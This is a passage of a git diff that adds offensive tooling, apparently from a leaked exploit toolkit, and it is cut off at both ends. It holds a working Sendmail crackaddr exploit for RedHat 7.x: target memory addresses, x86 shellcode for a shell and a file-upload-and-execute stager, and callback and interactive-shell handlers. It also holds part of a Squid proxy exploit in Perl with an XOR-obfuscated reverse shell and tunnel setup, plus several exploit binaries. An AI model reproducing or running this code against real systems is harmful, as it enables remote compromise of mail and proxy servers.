utils.leS32StringToS32(reply)): + print "Remote exec failed" + else: + print "Received the following from afar:" + utils.dumpHex(reply) + return -1 + elif (-1 == status): + print "status = %d" % status + utils.interact(ad) + return 0 + +def dulEncode(unencodedShellcode): + pathToDUL = "./DUL" + unencodedFile = "tmp.unencoded" + encodedFile = "tmp.encoded" + + f=open(unencodedFile, 'w'); + f.write(unencodedShellcode); + f.close() + os.system("%s %s %s > /dev/null" % (pathToDUL, unencodedFile, encodedFile)) + f=open(encodedFile,'r'); + #should only be one line + encodedShellcode = f.readline() + f.close() + os.remove(unencodedFile) + os.remove(encodedFile) + return(encodedShellcode) + +def readConnectionInfo(s): + r = recv4(s) + pid = utils.leS32StringToS32(r) + r = recv4(s) + euid = utils.leS32StringToS32(r) + print "Talking to process %d (UID %d)" % (pid, euid) + +def recv4(s): + r = '' + while (4 != len(r)): + reply = smtpUtils.recvReply(s, 4 - len(r)) + r += reply + return r + +def uploadFile(s, contents, mask): + table = '' + for i in range(0, 256): + table += chr(i ^ ord(mask)) + maskedContents = contents.translate(table) + l = len(maskedContents) + s.send(utils.u32ToLeU32String(l)) + if (0 != l): + s.send(maskedContents) + r = recv4(s) + status = utils.leS32StringToS32(r) + return status + return 0 + +def validResponse(input, response): + if ("250" == response[0:3]): + return True + return False + +def waitForCallback(ld, authCode, ctimeout, atimeout): + while (1): + readable, writable, exceptional = select.select([ld], [], [], ctimeout) + if ((0 == ctimeout) and (ld not in readable)): + return 1, None + elif ((0 == len(readable)) + and (0 == len(writable)) + and (0 == len(exceptional))): + print "ERROR: Timeout waiting for callback" + return 1, None + elif ld not in readable: + print "ERROR: Didn't get callback" + ld.close() + return 1, None + + sd, addr = ld.accept() + print "Got a callback..." + status = authenticateCallback(sd, authCode, atimeout) + if (0 == status): + return 0, sd + sd.close() + +if __name__ == "__main__": + main() diff --git a/Linux/bin/earlyshovel/finder.py b/Linux/bin/earlyshovel/finder.py new file mode 100644 index 0000000..ae07d7c --- /dev/null +++ b/Linux/bin/earlyshovel/finder.py @@ -0,0 +1,31 @@ +#!/usr/bin/python + +spin = \ + "\xeb\x1e" + +start = \ + "\x59\x51\xff\x31\x59\x58\x31\xdb\xb3\x04\x01\xd8\xf6\xdb\x20\xd8"\ + "\xf6\xdb" + +findit = \ + "\x01\xd8\x3b\x08\x75\xfa" + +found = \ + "\x01\xd8\x50\x59\xff\xe1" + +end = \ + "\xe8\xdd\xff\xff\xff" + +# marker +data = \ + "\x51\x51\x51\x51" + +def build(): + tmp = \ + spin + \ + start + \ + findit + \ + found + \ + end + \ + data + return tmp diff --git a/Linux/bin/earlyshovel/interactive.py b/Linux/bin/earlyshovel/interactive.py new file mode 100644 index 0000000..1c67a78 --- /dev/null +++ b/Linux/bin/earlyshovel/interactive.py @@ -0,0 +1,14 @@ +#!/usr/bin/python + +lsdShellcode = \ + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"\ + "\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + +exit = \ + "\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80" + +def build(): + tmp = \ + lsdShellcode + \ + exit + return tmp diff --git a/Linux/bin/earlyshovel/opts.py b/Linux/bin/earlyshovel/opts.py new file mode 100644 index 0000000..600d645 --- /dev/null +++ b/Linux/bin/earlyshovel/opts.py @@ -0,0 +1,106 @@ +import getopt +import sys + +class opts: + def __init__(self, name, options, *usage_thunks): + self.name = name + self.options = options + self.usage_thunks = usage_thunks + self.options['help'] = \ + {'shortOpt': '?', + 'longOpt': 'help', + 'type': 'help', + 'desc': "Print the usage message"} + + def getoptSetup(self): + longOpts = [] + shortOpts = "" + for v in self.options.itervalues(): + options = [] + if 'arg' in v: + takesArg = True + else: + takesArg = False + if 'shortOpt' in v: + opt = v['shortOpt'] + options.append('-%s' % opt) + if takesArg: + opt += ':' + shortOpts += opt + if 'longOpt' in v: + opt = v['longOpt'] + options.append('--%s' % opt) + if takesArg: + opt += '=' + longOpts.append(opt) + v['options'] = options + return shortOpts, longOpts + + def get(self, key, default=None): + value = self.options[key].get('value') + if (None == value): # value not set, check for a default + return self.options[key].get('default', default) + return value + + def parseCommandLine(self, cmdLine): + shortOpts, longOpts = self.getoptSetup() + try: + opts, args = getopt.getopt(cmdLine, shortOpts, longOpts) + except getopt.GetoptError: + self.usage() + sys.exit(2) + self.parseOpts(opts) + return args + + def parseOpts(self, opts): + for o,a in opts: + for v in self.options.itervalues(): + if o in v['options']: + if 'type' in v: + type = v['type'] + else: + type = str + if type == 'help': + self.usage() + sys.exit() + elif type == bool: + v['value'] = not v['value'] + elif type == float: + v['value'] = float(a) + elif type == int: + v['value'] = int(a, 0) + elif type == long: + v['value'] = long(a, 0) + elif type == str: + v['value'] = a + else: + raise TypeError(type) + break + + def set(self, key, value): + self.options[key]['value'] = value + + def usage(self): + usage = "usage: %s [options]" % self.name + blank = ' ' * len(usage) + print usage + print "options:" + k = self.options.keys() + k.sort() + for key in k: + v = self.options[key] + print " %s" % v['options'][0], + for opt in v['options'][1:]: + print "| %s" % opt, + if 'arg' in v: + print v['arg'], + if 'default' in v: + print "(default = %s)" % v['default'] + else: + print + else: + print + if 'desc' in v: + print " %s" % v['desc'] + for thunk in self.usage_thunks: + thunk() diff --git a/Linux/bin/earlyshovel/rh70.py b/Linux/bin/earlyshovel/rh70.py new file mode 100755 index 0000000..00ce051 --- /dev/null +++ b/Linux/bin/earlyshovel/rh70.py @@ -0,0 +1,8 @@ +import senders + +class rh70(senders.senders): + version = "RH70" + details = "RedHat 7.0 running Sendmail 8.11.0" + banner = "ESMTP Sendmail 8.11.0/8.11.0" + crackaddrBufLocation = 0x80b7aa0L + mciCacheLocation = 0x80b7d7cL diff --git a/Linux/bin/earlyshovel/rh71.py b/Linux/bin/earlyshovel/rh71.py new file mode 100755 index 0000000..c61cd90 --- /dev/null +++ b/Linux/bin/earlyshovel/rh71.py @@ -0,0 +1,8 @@ +import senders + +class rh71(senders.senders): + version = "RH71" + details = "RedHat 7.1 running Sendmail 8.11.2" + banner = "ESMTP Sendmail 8.11.2/8.11.2" + crackaddrBufLocation = 0x80bb320L + mciCacheLocation = 0x80bb620L diff --git a/Linux/bin/earlyshovel/rh72.py b/Linux/bin/earlyshovel/rh72.py new file mode 100755 index 0000000..c9aaf44 --- /dev/null +++ b/Linux/bin/earlyshovel/rh72.py @@ -0,0 +1,59 @@ +import senders +import finder +import utils + +class rh72(senders.senders): + version = "RH72" + details = "RedHat 7.2 running Sendmail 8.11.6" + banner = "ESMTP Sendmail 8.11.6/8.11.6" + crackaddrBufLocation = 0x80c3580L + mciCacheLocation = 0x80c3880L + + def buildSender1(self, len): + # offset addresses by 0x20 bytes from what's in senders.senders + # to avoid bad bytes all over the place. + body = "" + for i in range(len / 4): + body += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x20) + if (utils.bufHasBadBytes(body, self.badBytes)): + print "sender1 has bad bytes" + return None + return body + + def buildSender2(self, finderValue): + # offset addresses by 0x20 bytes from what's in senders.senders + # to avoid bad bytes all over the place. + finder.data = finderValue + + filler = utils.buildBuffer(0xf9, self.badBytes) + sender2 = "(" + filler[0x1:0x4] + sender2 += filler[0x4:0x24] # pad with 0x20 bytes of random + for i in range(0x24, 0x54, 4): + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x20) + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x6c) + for i in range(0x58, 0x64, 4): + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x20) + sender2 += filler[0x64:0x66] + sender2 += chr(0xa0) + sender2 += filler[0x67:0x88] + # 0x88 - 0x8c -- overwrite (v)fprintf ptr (crackaddrBufLoc + 0x6c + 0x1c) + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0xa0) + sender2 += filler[0x8c:0x9c] + # 0x9c - 0xa0 -- overwrite fflush ptr (crackaddrBufLoc + 0x6c + 0x30) + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0xa0) + # 0xa0 - ? + sender2 += finder.build() + sender2 += filler[len(sender2):] + sender2 += ")" + + if (utils.bufHasBadBytes(sender2[1:-1], self.badBytes)): + print "sender2 has bad bytes" + utils.dumpHex(sender2) + return None + + nparens = (self.mciCacheLocation - self.crackaddrBufLocation) \ + - len(sender2) + for i in range(nparens): + sender2 += "()>" + + return sender2 diff --git a/Linux/bin/earlyshovel/senders.py b/Linux/bin/earlyshovel/senders.py new file mode 100755 index 0000000..326a1d4 --- /dev/null +++ b/Linux/bin/earlyshovel/senders.py @@ -0,0 +1,49 @@ +import finder +import utils + +class senders: + def __init__(self, badBytes): + self.badBytes = badBytes + + def buildSender1(self, len): + body = "" + for i in range(len / 4): + body += utils.u32ToLeU32String(self.crackaddrBufLocation) + if (utils.bufHasBadBytes(body, self.badBytes)): + print "sender1 has bad bytes" + return None + return body + + def buildSender2(self, finderValue): + finder.data = finderValue + + filler = utils.buildBuffer(0xf9, self.badBytes) + sender2 = "(" + filler[0x1:0x4] + for i in range(0x4, 0x34, 4): + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation) + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x4c) + for i in range(0x38, 0x44, 4): + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation) + sender2 += filler[0x44:0x46] + sender2 += chr(0xa0) + sender2 += filler[0x47:0x68] + # 0x68 - 0x6c -- overwrite (v)fprintf ptr (crackaddrBufLoc + 0x4c + 0x1c) + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x80) + sender2 += filler[0x6c:0x7c] + # 0x7c - 0x80 -- overwrite fflush ptr (crackaddrBufLoc + 0x4c + 0x30) + sender2 += utils.u32ToLeU32String(self.crackaddrBufLocation + 0x80) + # 0x80 - ? + sender2 += finder.build() + sender2 += filler[len(sender2):] + sender2 += ")" + + if (utils.bufHasBadBytes(sender2[1:-1], self.badBytes)): + print "sender2 has bad bytes" + return None + + nparens = (self.mciCacheLocation - self.crackaddrBufLocation) \ + - len(sender2) + for i in range(nparens): + sender2 += "()>" + + return sender2 diff --git a/Linux/bin/earlyshovel/smtpUtils.py b/Linux/bin/earlyshovel/smtpUtils.py new file mode 100644 index 0000000..f027da6 --- /dev/null +++ b/Linux/bin/earlyshovel/smtpUtils.py @@ -0,0 +1,99 @@ +# smtpUtils.py +# This module mimics the functionality of the smtplib module, but leaves +# the socket exposed so we can use it elsewhere. +import socket + +class smtpError: + def printMsg(self): + print "Received \"%s\" from the target" % self.msg + +class smtpRecipientRefused(smtpError): + def __init__(self, msg): + self.msg = msg + def printMsg(self): + smtpError.printMsg(self) + print "Please specify a different recipient." + +class smtpSenderRefused(smtpError): + def __init__(self, msg): + self.msg = msg + def printMsg(self): + smtpError.printMsg(self) + print "Please specify a different sender." + +class smtpServerCrashed(smtpError): + def printMsg(self, msg): + print "Target crashed%s." % msg + +class smtpServerDisconnected(smtpError): + def printMsg(self, msg): + print "Target disconnected%s." % msg + +def connect(host, port, wantBanner=False): + sd = socket.socket() + sd.connect((host, port)) + banner = sd.recv(1024) + if (wantBanner): + return sd, banner + return sd + +def data(sd): + sd.send('data\r\n') + sd.recv(1024) + +def ehlo(sd): + sd.send('ehlo\r\n') + sd.recv(1024) + +def helo(sd, address, validReply): + if (None != address): + sd.send('helo %s\r\n' % address) + else: + sd.send('helo\r\n') + sd.recv(1024) + +def mailFrom(sd, sender, validReply): + sd.send('mail from: %s\r\n' % sender) + response = sd.recv(1024) + if (None != validReply): + if (False == validReply(sender, response)): + sd.send('quit\r\n') + sd.close() + raise smtpSenderRefused(response.strip()) + +def quit(sd): + sd.send('quit\r\n') + sd.close() + +def rcptTo(sd, recipient, validReply): + sd.send('rcpt to: %s\r\n' % recipient) + response = sd.recv(1024) + if (None != validReply): + if (False == validReply(recipient, response)): + sd.send('quit\r\n') + sd.close() + raise smtpRecipientRefused(response.strip()) + +def recvReply(sd, nBytes=1024): + reply = sd.recv(nBytes) + if (None == reply): + sd.close() + raise smtpServerDisconnected() + elif (0 == len(reply)): + sd.close() + raise smtpServerCrashed() + return reply + +def sendMsg(sd, *lines): + #sd.send("Content-Language: %s\r\n" % contentLang) + # I would like to wait for an ack before sending the rest. + # How can I do this reliably and w/o getting h +# msg = '' + for line in lines: + sd.send("%s\r\n" % line) + sd.send(".\r\n") + +def startNewMsg(sd, sender, recipient): + mailFrom(sd, sender) + rcptTo(sd, recipient) + data(sd) diff --git a/Linux/bin/earlyshovel/targets.py b/Linux/bin/earlyshovel/targets.py new file mode 100755 index 0000000..caa8da4 --- /dev/null +++ b/Linux/bin/earlyshovel/targets.py @@ -0,0 +1,28 @@ +#!/usr/bin/python +import asprh73 +import rh70 +import rh71 +import rh72 + +targets = \ + [asprh73.asprh73, + rh70.rh70, + rh71.rh71, + rh72.rh72] + +def factory(version, badBytes): + for target in targets: + if (target.version == version): + return target(badBytes) + return None + +def list(): + print "Supported targets:" + for target in targets: + print " \"%s\": %s" % (target.version, target.details) + +def main(): + list() + +if __name__ == "__main__": + main() diff --git a/Linux/bin/earlyshovel/tmpnam.py b/Linux/bin/earlyshovel/tmpnam.py new file mode 100755 index 0000000..43b8195 --- /dev/null +++ b/Linux/bin/earlyshovel/tmpnam.py @@ -0,0 +1,5 @@ +#!/usr/bin/python + +import utils + +print utils.tmpnam() diff --git a/Linux/bin/earlyshovel/upload.py b/Linux/bin/earlyshovel/upload.py new file mode 100644 index 0000000..4e6944d --- /dev/null +++ b/Linux/bin/earlyshovel/upload.py @@ -0,0 +1,107 @@ +#!/usr/bin/python + +start = \ + "\xe9\x05\x01\x00\x00" + +picBegin = \ + "\x5f" + +close = \ + "\x31\xc9\xb1\x03" + +closeLoop = \ + "\x49\x89\xcb\x31\xc0\xb0\x06\xcd\x80\x80\xf9\x01\x75\xf2" + +readSize = \ + "\x31\xd2\xb2\x04\x8d\x8f\x01\x00\x00\x00\x31\xdb\x31\xc0\xb0\x03"\ + "\xcd\x80\x3c\x04\x0f\x85\xb7\x00\x00\x00\x8b\x87\x01\x00\x00\x00"\ + "\x31\xdb\x39\xd8\x0f\x84\x92\x00\x00\x00" + +openFile = \ + "\x31\xd2\x66\xba\xff\x01\x31\xc9\x66\xb9\x41\x02\x8d\x9f\x05\x00"\ + "\x00\x00\x31\xc0\xb0\x05\xcd\x80\x31\xdb\x39\xd8\x0f\x8e\x85\x00"\ + "\x00\x00" + +readSocket = \ + "\x89\xc6\x8b\x8f\x01\x00\x00\x00" + +rwLoop = \ + "\x89\x8f\x01\x00\x00\x00\x31\xd2\xb2\x01\x89\xe1\x31\xdb\x31\xc0"\ + "\xb0\x03\xcd\x80\x31\xdb\x39\xd8\x74\x1b\x7c\x4c" + +applyMask = \ + "\x8a\x17\x30\x11" + +writeFile = \ + "\x89\xf3\xe8\x6c\x00\x00\x00\x31\xdb\x39\xd8\x7c\x3b\x8b\x8f\x01"\ + "\x00\x00\x00\xe2\xcb" + +closeFile = \ + "\x89\xf3\x31\xc0\xb0\x06\xcd\x80" + +execve = \ + "\x8d\x8f\x01\x00\x00\x00\xe8\x43\x00\x00\x00\x31\xc0\x8d\x9f\x05"\ + "\x00\x00\x00\x8d\x8f\x15\x00\x00\x00\x50\x51\x89\xe1\x8d\x97\x1e"\ + "\x00\x00\x00\x50\x52\x89\xe2\xb0\x0b\xcd\x80" + +unlinkFile = \ + "\x6a\xff\x89\xe1\xe8\x1a\x00\x00\x00\x8d\x9f\x05\x00\x00\x00\x31"\ + "\xc0\xb0\x0a\xcd\x80" + +exit = \ + "\x31\xdb\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\xcd\x80" + +write4 = \ + "\x31\xd2\xb2\x04\x31\xdb\xeb\x04" + +write1 = \ + "\x31\xd2\xb2\x01" + +write = \ + "\x31\xc0\xb0\x04\xcd\x80\xc3" + +callBackwards = \ + "\xe8\xf6\xfe\xff\xff" + +# mask +data = \ + "\xff" + +size = \ + "\xff\xff\xff\xff" + +tmpnam = \ + "\x2f\x74\x6d\x70\x2f\x66\x69\x6c\x65\x64\x70\x4c\x42\x64\x36\x00" + +argv = \ + "\x73\x65\x6e\x64\x6d\x61\x69\x6c\x00" + +env = \ + "\x49\x3d\x30\x00" + +def build(): + tmp = \ + start + \ + picBegin + \ + close + \ + closeLoop + \ + readSize + \ + openFile + \ + readSocket + \ + rwLoop + \ + applyMask + \ + writeFile + \ + closeFile + \ + execve + \ + unlinkFile + \ + exit + \ + write4 + \ + write1 + \ + write + \ + callBackwards + \ + data + \ + size + \ + tmpnam + \ + argv + \ + env + return tmp diff --git a/Linux/bin/earlyshovel/utils.py b/Linux/bin/earlyshovel/utils.py new file mode 100644 index 0000000..c5cd93b --- /dev/null +++ b/Linux/bin/earlyshovel/utils.py @@ -0,0 +1,143 @@ +import random +import select +import struct +import sys + +def u32ToBeU32String(val): + tmp = chr((val >> 24) & 0xff) \ + + chr((val >> 16) & 0xff) \ + + chr((val >> 8) & 0xff) \ + + chr(val & 0xff) + return tmp + +def u32ToLeU32String(val): + tmp = chr(val & 0xff) \ + + chr((val >> 8) & 0xff) \ + + chr((val >> 16) & 0xff) \ + + chr((val >> 24) & 0xff) + return tmp + +def u16ToBeU16String(val): + tmp = chr((val >> 8) & 0xff) \ + + chr(val & 0xff) + return tmp + +def u16ToLeU16String(val): + tmp = chr(val & 0xff) \ + + chr((val >> 8) & 0xff) + return tmp + +def beS32toS32(buf): + tmp = struct.unpack(">i", buf) + return tmp[0] + +def leS32StringToS32(buf): + tmp = struct.unpack("> i) & 0xff + if n in badBytes: + return True + return False + +def interact(sd): + print "An interactive shell awaits below despite the lack of a prompt." + while 1: + readable, writable, exceptional = select.select([sys.stdin, sd], [], []) + if sys.stdin in readable: + next = sys.stdin.readline() + if not next: + break + sd.send(next) + if sd in readable: + next = sd.recv(1024) + if not next: + break + sys.stdout.write(next) + +def randomBase64(len, linelen): + alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" + tmp = '' + + npos = linelen - 1 + rpos = linelen - 2 + for i in range(len): + if (0 != linelen): + pos = i % linelen + else: + pos = i + + if pos == rpos: + tmp += '\r' + elif pos == npos: + tmp += '\n' + else: + n = random.randint(0, 63) + tmp += alpha[n] + + return tmp + +def randomSparcNOP(badRegs, badBytes): + opcodes = ['000000', #ADD + '000001', #AND + '000101', #ANDN + '000010', #OR + '000110', #ORN + '000011', #XOR + '000111', #XORN + '000100'] #SUB + nOpcodes = len(opcodes) - 1 + mask = (2 ** 19) - 1 + instruction = 0 + while (intHasBadBytes(instruction, badBytes)): + rd = random.randint(0, 31) + while rd in badRegs: + rd = random.randint(0, 31) + opcode = opcodes[random.randint(0, nOpcodes)] + rest = random.randint(0, mask) + instruction = (long(int('10', 2)) << 30) \ + | (long(rd) << 25) \ + | (long(int(opcode, 2)) << 19) \ + | rest + return instruction + +def tmpnam(): + tmp = buildBuffer(6, [0x2b, 0x2f]) + return "/tmp/file" + tmp diff --git a/Linux/bin/ebbisland b/Linux/bin/ebbisland new file mode 100755 index 0000000..e896bf7 Binary files /dev/null and b/Linux/bin/ebbisland differ diff --git a/Linux/bin/ebbisland.Linux_2.4.20-6.i686 b/Linux/bin/ebbisland.Linux_2.4.20-6.i686 new file mode 100755 index 0000000..e896bf7 Binary files /dev/null and b/Linux/bin/ebbisland.Linux_2.4.20-6.i686 differ diff --git a/Linux/bin/ebbnew_linux b/Linux/bin/ebbnew_linux new file mode 100755 index 0000000..f2e2bdf Binary files /dev/null and b/Linux/bin/ebbnew_linux differ diff --git a/Linux/bin/ebbshave.v2 b/Linux/bin/ebbshave.v2 new file mode 100755 index 0000000..a6ef91b Binary files /dev/null and b/Linux/bin/ebbshave.v2 differ diff --git a/Linux/bin/ebbshave.v3 b/Linux/bin/ebbshave.v3 new file mode 100755 index 0000000..e7bfdc7 Binary files /dev/null and b/Linux/bin/ebbshave.v3 differ diff --git a/Linux/bin/ebbshave.v4 b/Linux/bin/ebbshave.v4 new file mode 100755 index 0000000..8ed5fdf Binary files /dev/null and b/Linux/bin/ebbshave.v4 differ diff --git a/Linux/bin/ebbshave.v5 b/Linux/bin/ebbshave.v5 new file mode 100755 index 0000000..cf0af21 Binary files /dev/null and b/Linux/bin/ebbshave.v5 differ diff --git a/Linux/bin/echowrecker b/Linux/bin/echowrecker new file mode 100755 index 0000000..35910c1 Binary files /dev/null and b/Linux/bin/echowrecker differ diff --git a/Linux/bin/egg_timer b/Linux/bin/egg_timer new file mode 100755 index 0000000..62fbac0 Binary files /dev/null and b/Linux/bin/egg_timer differ diff --git a/Linux/bin/eggbasket b/Linux/bin/eggbasket new file mode 100755 index 0000000..03cfe25 Binary files /dev/null and b/Linux/bin/eggbasket differ diff --git a/Linux/bin/eh b/Linux/bin/eh new file mode 100755 index 0000000..a65c154 Binary files /dev/null and b/Linux/bin/eh differ diff --git a/Linux/bin/electricslide b/Linux/bin/electricslide new file mode 100755 index 0000000..3705e9f Binary files /dev/null and b/Linux/bin/electricslide differ diff --git a/Linux/bin/electricslide.pl b/Linux/bin/electricslide.pl new file mode 100755 index 0000000..3055d67 --- /dev/null +++ b/Linux/bin/electricslide.pl @@ -0,0 +1,1031 @@ +#!/usr/bin/perl -w +use strict; +use IO::Select; +use IO::Socket; +use Getopt::Long qw(:config no_ignore_case); +use MIME::Base64; +use Sys::Hostname; + +################################################################################ +# Globals +################################################################################ +our $target_str; # Includes target:port to be parsed +our $listen_str; # Includes ip:port to be parsed +our $target_ip; +our $target_port; +our $target_type; +our $delay = 30; +our $listen_ip; +our $listen_port; +our $sent; +our $proxy_auth_user; +our $proxy_auth_pass; +our $proxy_auth = ""; +our $printhelp; +our @data_ports; +our $message; +our $bytes_to_read = 14096; +our $max_ftp_clients = 10; +our $ftp_alarm = 0; +our $ftp_timeout = 180; +our $sock_verify_time = 10; +our $test_http_client_tag = int(rand(6666666)); +our $ftp_client_tag = int(rand(6666666)); +our $http_client_tag = int(rand(6666666)); +our ($fh, $i, $s_arr, @ready); +our ($listener, $sock_c, $buf_c, $sock_r, $buf_r, @sock_c, @sock_r, @sock_d); +our $test_http_client_request = ""; +our $test_http_server_response = ""; +our $test_ftp_client_request = ""; +our $ftp_client_request = ""; +our $ftp_server_response = ""; +our $nasty_client_request = ""; +our $nasty_server_response1 = ""; +our $nasty_server_response2 = ""; +our $first_shell_read = 1; + +# this is set if we are redirecting through a nopen tunnel +our $nopen = 0; +our $nopen_port; +our $nopen_flag; +our $nopen_sock; +our $nopen_str; +our $nopen_forward_ip; +our $nopen_forward_port; +our $local_ip_addr; + +################################################################################ +# MAIN +################################################################################ + +# Unbuffer stdout +$| = 1; +# Setup sig pipe handler +$SIG{'PIPE'} = \&sig_pipe; + +# Get and set command line options +&get_options(); + +# Check if using proxy authentication +if (defined $proxy_auth_user || defined $proxy_auth_pass) { + if (!defined $proxy_auth_user) { + print "\n--! You need to specify both the Username and Password: :$proxy_auth_pass\n\n"; + exit; + } elsif (!defined $proxy_auth_pass) { + print "\n--! You need to specify both the Username and Password: $proxy_auth_user:\n\n"; + exit; + } + $proxy_auth = encode_base64($proxy_auth_user . ':' . $proxy_auth_pass, ""); + print "\n--> Using authentication: $proxy_auth_user:$proxy_auth_pass = $proxy_auth\n"; + $proxy_auth = "Proxy-Authorization: Basic $proxy_auth\r\n"; +} + +# Create the strings we will use to communicate with +&create_packet_strings(); + +# set up the nopen tunnel stuff, if we requested it +if($nopen) { + &set_up_nopen(); +} + +# Test http connection +&test_http_connection(); + +# Test ftp connection +&test_ftp_connection(); + +# Check for continue +&check_continue("\n--> Continue exploit (y/n): "); + +# Groom server with ftp connections +&groom_ftp(); + +# Exploit +&exploit(); + +print "-" x 80 . " + + ---===<<< ALL YOUR SQUID ARE BELONG TO US!! >>>===--- + --==<< obfuscated-comms ghetto-shell 2.0 >>==-- + +" . "-" x 80 . "\n\n"; + +# Initiate shell interface +&shell_interface(); + +exit; + +################################################################################ +# End MAIN +################################################################################ + +################################################################################ +# Sub set_up_nopen +################################################################################ +sub set_up_nopen { + # first we need to connect a socket to control nopen + $nopen_sock = &udp_sock_connect("127.0.0.1", $nopen_port); + + # then we need to set up the local socket to redirect to the remote squid + # this will need to be changed to be dynamic + #my $local_tunnel_string = "l 7777 $target_ip $target_port\r\n"; + # this target is the rh90 box with squid stable1-2 + my $local_tunnel_string = "l $target_port $nopen_forward_ip $nopen_forward_port "; + syswrite($nopen_sock, $local_tunnel_string); + + sleep 2; + syswrite($nopen_sock, "s\n"); + sleep 2; + + # then we need to set up the remote socket to forward connections back to us + my $remote_tunnel_string = "r $listen_port $local_ip_addr $listen_port "; + syswrite($nopen_sock, $remote_tunnel_string); + sleep 2; + syswrite($nopen_sock, "s\n"); +} + +################################################################################ +# Sub safe_inet_ntoa +################################################################################ +sub safe_inet_ntoa { + my $ip_struct = (shift); + if (!$ip_struct) { + return "EXTRANEOUS CONNECTION: IGNORED"; + } else { + return &inet_ntoa($ip_struct); + } +} + +################################################################################ +# Sub read_sock +################################################################################ +sub read_sock { + my $sock = (shift); + my ($line) = ""; + #recv($sock, $line, 512, 'NULL'); + recv($sock, $line, 512, 0); + for ($i = 0; $i < length($line); $i++) { + substr($line, $i, 1, substr($line, $i, 1)^"\x56"); + } + if ($first_shell_read) { + $line = &clean_line($line); + } + if (defined $line) { +# if ($line ne $sent) { + print($line); +# } + } else { + print("Shit: $!\n\n"); + shutdown($sock, 2); + exit; + } +} + +################################################################################ +# Sub clean_line +################################################################################ +sub clean_line { + my $foo = (shift); + my $len = length($foo); + my $x = 0; + my $char; + + for ($x = 0; $x < $len; $x++) { + $char = unpack("C", substr($foo, $x, 1)); + if ( ($char != 9) && ($char != 10) && (( $char < 32) || ($char > 126)) ) { + substr($foo, $x, 1, '.'); + } + } + + return($foo); +} + +################################################################################ +# Sub read_input +################################################################################ +sub read_input { + my $sock = (shift); + my $input = ; + + #print "got input [$input]\n"; + # If we are connected to the socket, print it on the socket + if ( $sock->connected() ) { + $sent = $input; + for ($i = 0; $i < length($input); $i++) { + substr($input, $i, 1, substr($input, $i, 1)^"\x56"); + } + syswrite($sock,"$input"); + } else { + print("shit: $!\n"); + shutdown($sock, 2); + exit; + } +} + +################################################################################ +# Subroutine to setup a socket to communicate over +################################################################################ +sub udp_sock_connect { + my $sock; + my $peeraddr = (shift); + my $peerport = (shift); + + while (!($sock = IO::Socket::INET->new( + PeerAddr => $peeraddr, + PeerPort => $peerport, + Proto => "udp", + Type => SOCK_DGRAM, + ReuseAddr => 1) ) ) + { + #print "Cannot connect to target at $target_ip:$target_port\n". + print "Cannot connect to target at $peeraddr:$peerport (udp)\n". + "Will try to continue indefinitely.\n\n"; + sleep 1; + } + return $sock; +} +################################################################################ +# Subroutine to setup a socket to communicate over +################################################################################ +sub sock_connect { + my $sock; + my $peeraddr = (shift); + my $peerport = (shift); + + while (!($sock = IO::Socket::INET->new( + PeerAddr => $peeraddr, + PeerPort => $peerport, + Proto => "tcp", + Type => SOCK_STREAM, + ReuseAddr => 1) ) ) + { + #print "Cannot connect to target at $target_ip:$target_port\n". + print "Cannot connect to target at $peeraddr:$peerport\n". + "Will try to continue indefinitely.\n\n"; + sleep 1; + } + return $sock; +} + +################################################################################ +# Subroutine to setup a socket to communicate over +################################################################################ +sub sock_listen { + my $listener; + while (!($listener = IO::Socket::INET->new( + Listen => 50, + LocalPort => $listen_port, + Proto => "tcp", + Type => SOCK_STREAM, + Reuse => 1) ) ) + { + #print "Cannot create listener on port $target_port\n". + print "Cannot create listener on port $listen_port\n". + "Will try to continue indefinitely.\n\n"; + sleep 1; + } + return $listener; +} + +################################################################################ +# Subroutine to read the response on a socket +################################################################################ +sub sock_read { + my ($buf, $bytes_read, @reply, $y, $x); + my ($sock) = (shift); + if (!defined $sock) { + print "--! Socket is no longer connected\n"; + } + $bytes_read = sysread($sock, $buf, $bytes_to_read); + if (defined $bytes_read && ($bytes_read > 0)) { + $buf = &clean_line($buf); + printf "--> received $bytes_read bytes from %s\n", &safe_inet_ntoa($sock->peeraddr); + } elsif (defined $bytes_read && ($bytes_read < 0)) { + print "--> Sysread error: $!\n"; + } else { + #print "--------------------------Nothing to read--------------------------\n"; + } + return $buf; +} + +################################################################################ +# Subroutine to read the response on a socket +################################################################################ +sub sock_read_quiet { + my ($buf, $bytes_read, @reply, $y, $x); + my ($sock) = (shift); + if (!defined $sock) { + print "--! Socket is no longer connected\n"; + } + $bytes_read = sysread($sock, $buf, $bytes_to_read); + if (defined $bytes_read && ($bytes_read > 0)) { + #printf "--> received $bytes_read bytes from %s\n", &safe_inet_ntoa($sock->peeraddr); + } elsif (defined $bytes_read && ($bytes_read < 0)) { + print "--> Sysread error: $!\n"; + } else { + #print "--------------------------Nothing to read--------------------------\n"; + } + return $buf; +} + +################################################################################ +# Subroutines to handle signals +################################################################################ +sub sig_pipe { + #print "\n--! SIGPIPE received\n"; +} +sub sig_alrm_ftp { + print "\n--! SIGALRM on ftp sessions...waiting too long\n"; + $ftp_alarm = 1; +} +sub sig_alrm_test { + print "\n--! SIGALRM on test session...waiting too long\n"; + &check_response(); +} + +################################################################################ +# Sub check_response - Look for data on connection to Squid +################################################################################ +sub check_response { + my $buf = &sock_read($sock_c); + if (length($buf) > 0) { + print "--> Hmmm, looks like we have a response from our request already:\n"; + print "-" x 80 . "\n" . substr($buf,0,512) . "\n" . "-" x 80 . "\n"; + &check_continue("\n--> Continue exploit (y/n): "); + } +} + +################################################################################ +# Sub create_packet_strings +################################################################################ +sub create_packet_strings { + +$test_http_client_request = +"GET http://$listen_ip:$listen_port/$test_http_client_tag.gif HTTP/1.1\r +Accept: */*\r +Accept-Language: 